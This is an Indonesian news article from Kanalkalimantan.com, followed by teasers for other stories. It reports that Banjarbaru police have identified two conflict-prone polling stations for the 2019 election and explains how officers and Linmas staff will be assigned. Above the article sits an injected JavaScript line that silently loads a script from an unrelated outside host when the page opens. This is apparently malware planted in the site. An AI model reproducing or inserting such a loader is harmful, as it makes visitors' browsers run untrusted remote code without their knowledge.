(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kepala Bagian Operasional (Kabag Ops) Polres Banjarbaru, Kompol Mujiono menyampaikan ada sejumlah daerah yang rawan konflik pada Pemilu 2019 di wilayahnya.
“Wilayah yang rawan ada di Beruntung Baru TPS 20 dan di Aluh-aluh TPS 51. Memang kedua wilayah tersebut masuk wilayah Kabupaten Banjar, tetapi secara wilayah hukum Polres Banjarbaru yang akomodir,” ucapnya kepada Kanalkalimantan.com Senin (28/1).
Menurut Mujiono, Polri memiliki berbagai indikator sehingga menjadikan keduah wilayah tersebut menjadi daerah yang rawan konflik. Salah satunya adalah letak wilayah atau kondisi geografis. “Ada beberapa kriteria yang sudah kami tetapkan, di antaranya ada gangguan keamanan yang terjadi. Kita sangat antisipasi adanya kerusuhan massa dan potensi provokator,” lanjutnya.
Indikator letak wilayah, memang seirama dengan pernyataan Bawaslu Kalsel yang mewaspadai kerawanan konflik saat pelaksanaan Pemilu 2019 pada lima kabupaten di Kalsel. Kelima kabupaten ini terdiri dari Banjar, Hulu Sungai Utara, Tabalong, Kotabaru, dan Hulu Sungai Tengah.
Diungkapkan ketua Bawaslu Kalsel Iwan Setiawan, kondisi geografis salah satu pemicu kerawanan pemilu dan konflik. Karena penduduk yang tinggal di pulau-pulau terpencil ada potensi sulit diawasi, dan muncul hasutan-hasutan. “Kami minta tokoh agama dan tokoh masyarakat terlibat mengawasi kerawanan ini,†ungkapnya.
Namun pada penyelenggaran Pemilu maupun Pilkada yang sudah-sudah, Banjarbaru memang tergolong wilayah aman. Namun kendati demikian, Kabag Ops Polres Banjarbaru tetap melakukan persiapan dan menegaskan pihaknya akan memberlakukan format 1 polisi untuk satu TPS. “Untuk kategori rawan, ada satu polisi di satu TOS serta dua Linmas (Perlindungan Masyarakat). Dua TPS Rawan di Beruntung Baru dan Aluh-aluh akan menggunakan format ini,” ucapnya.
Dijelaskannya juga, untuk TPS kategori aman format yang digunakan adalah 2 polisi untuk 5 TPS ditambah 10 Linmas. Sedangkan TPS rawan sekali ada dua polisi untuk satu TPS. “Kita tidak ada TPS Rawan sekali. Yang ada sekarang TPS Khusus di Lapas. Formatnya 1 TPS dijaga 5 polisi dan 12 Linmas,” tambahnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.